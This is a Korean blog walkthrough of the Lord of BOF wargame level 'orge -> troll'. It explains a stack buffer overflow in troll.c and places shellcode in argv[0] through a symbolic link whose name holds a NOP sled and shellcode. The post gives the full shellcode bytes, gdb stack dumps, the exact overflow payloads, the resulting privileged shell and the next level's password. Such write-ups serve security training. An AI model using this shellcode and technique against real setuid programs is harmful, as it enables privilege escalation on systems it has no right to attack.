2017. 11. 17. 13:18ㆍSystemHacking/LOB(BOF원정대)
orge / timewalker
[orge@localhost orge]$ /bin/bash2
[orge@localhost orge]$ SHELL=/bin/bash2
[ troll.c ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; // here is changed if(argc != 2){ printf("argc must be two!\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); } | cs |
egghunter => 환경변수의 쉘 코드 초기화
buffer hunter => buffer 와 argv[1] 에 올리는 쉘 코드 사용할 수 없다
실행파일의 인자가 2개 이상일 수 없도록 조건이 되어있다
이전 문제에서 사용해오던 2번째 인자에 쉘코드에 올리는 방법을 사용할 수 없게되었다
쉘 코드를 올릴 수 있는 다른 부분이 있을까 ?
아래 스택 구조를 보면 argc 와 argv[0] 부분은 아무런 제약을 받고 있지 않음을 확인할 수 있다
따라서 argv[0] 주소를 활용해보도록 하겠다 ( 실행파일의 이름이 저장되는 공간 )
즉 실행파일의 이름에 쉘 코드를 올려놓고 해당 주소로 ret 시키면 쉘 코드가 실행 될 것이다
[ Stack 구조 ]
i
buffer 40byte - 초기화
saved ebp 4byte
saved eip RET
argc
argv[0] <-- 실행파일의 이름을 변경하고, 실행파일의 이름이 저장되는 해당 주소로 ret !
argv[1] 초기화
* 쉘 코드를 올려야 하는데 실행파일의 이름을 바꿀 수 있는 권한이 없기 때문에 심볼릭링크를 이용하여야 합니다
* 기존에 사용하던 24byte쉘코드에는 "\x2f" ( / ) 가 있어서 디렉토리가 생성되기 때문에 " \x2f " 가 없는 쉘 코드를 사용했습니다
< 풀이 과정 >
[ gdb 분석 ]
* troll 파일의 복사본의 심볼릭링크 파일을 gdb로 분석해보자
[orge@localhost /tmp]$ ln -s ~/troll.cp $(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"')
[orge@localhost /tmp]$ ls
????????????????????????????????????????????????????????????????????????????????????????????????????▒▒▒t$▒?▒i▒])ɱ?1E??E??▒?▒▒b??|?G?▒Rp▒▒??8{▒?Q??▒▒??-▒ѶO?▒▒▒4@▒QM▒?▒
[orge@localhost /tmp]$ ./$(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"')
argc must be two!
[orge@localhost /tmp]$ gdb -q $(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"')
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
.... ( 생략 ) ....
0x804863a <main+314>: add %esp,12
0x804863d <main+317>: leave
(gdb) b *0x804863d
Breakpoint 1 at 0x804863d
(gdb) run $(python -c 'print "A" * 40 + "BBBB" + "\xbf\xbf\xbf\xbf"')
Starting program: /tmp/▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒t$▒▒i▒])ɱ
1EE▒▒▒▒b▒▒|G▒▒Rp▒▒8{▒Q▒▒▒▒-▒ѶO▒▒▒▒4@▒QM▒▒▒ $(python -c 'print "A" * 40 + "BBBB" + "\xbf\xbf\xbf\xbf"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒
Breakpoint 1, 0x804863d in main ()
(gdb) x/48x $ebp-40
0xbffff9a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff9b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff9c0: 0x00000000 0x00000000 0x42424242 0xbfbfbfbf < -- saved eip
0xbffff9d0: 0x00000000 0xbffffa14 0xbffffa20 0x40013868
0xbffff9e0: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffff9f0: 0x08048500 0x00000002 0xbffffa14 0x08048390
0xbffffa00: 0x0804866c 0x4000ae60 0xbffffa0c 0x40013e90
[ argc ] [ argv[0] ]
0xbffffa10: 0x00000002 0xbffffb0e 0xbffffbbe 0x00000000
addr : 0xbffffa14
0xbffffa20: 0xbffffbef 0xbffffbf8 0xbffffc11 0xbffffc30
0xbffffa30: 0xbffffc52 0xbffffc5c 0xbffffe1f 0xbffffe3e
0xbffffa40: 0xbffffe58 0xbffffe6d 0xbffffe89 0xbffffe94
0xbffffa50: 0xbffffea1 0xbffffea9 0xbffffeb3 0xbffffec4
(gdb) x/s 0xbffffb0e
0xbffffb0e: "/tmp/", '\220' <repeats 100 times>, "▒▒▒t$▒\025▒i▒])ɱ\0131E\032\003E\032\203▒\004▒▒b\217\223|\023G\216▒Rp▒▒\027\0278{▒\205Q\025\216▒▒\001\230-▒ѶO\232▒▒▒4@▒QM▒\202▒"
argv[0] : 실행파일의 이름이 저장된다. => 심볼릭링크를 통해서 실행파일의 이름에는 쉘 코드가 올려져 있다
오버플로우를 통해서 saved eip 를 argv[0] 의 주소가 있는 공간으로 변조시킨다면 ?
=> 함수의 프롤로그 동작시 argv[0] 의 주소로 이동하고 NOP코드를 흘러내려가 쉘 코드가 실행된다
[ payload ]
// troll 파일의 symbolic link 파일 생성
[orge@localhost orge]$ ln -s troll $(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"')
[orge@localhost orge]$ ls
troll
troll.c
troll.cp
????????????????????????????????????????????????????????????????????????????????????????????????????▒▒▒t$▒?▒i▒])ɱ?1E??E??▒?▒▒b??|?G?▒Rp▒▒??8{▒?Q??▒▒??-▒ѶO?▒▒▒4@▒QM▒?▒
// saved eip 의 값을 변조한다
[orge@localhost orge]$ ./$(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"') $(python -c 'print "A" * 44 + "\x10\xfa\xff\xbf"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒
Segmentation fault
[orge@localhost orge]$ ./$(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"') $(python -c 'print "A" * 44 + "\x20\xfa\xff\xbf"')
argc must be two!
[orge@localhost orge]$ ./$(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"') $(python -c 'print "A" * 44 + "\x30\xfa\xff\xbf"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0▒▒▒
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin
bash$
'SystemHacking > LOB(BOF원정대)' 카테고리의 다른 글
[10] vampire -> skeleton ( Stack Memory 실제구조 & Symbolic Link ) (0) | 2017.11.17 |
---|---|
[9]troll -> vampire ( Stack Memory Range ) (0) | 2017.11.17 |
[7] darkelf -> orge ( 심볼릭링크 & argv[2] 활용 ) (0) | 2017.11.17 |
[6] wolfman -> darkelf ( argv[2] 활용 ) (0) | 2017.11.17 |
[5] orc -> wolfman ( argv[2] 활용 ) (0) | 2017.11.17 |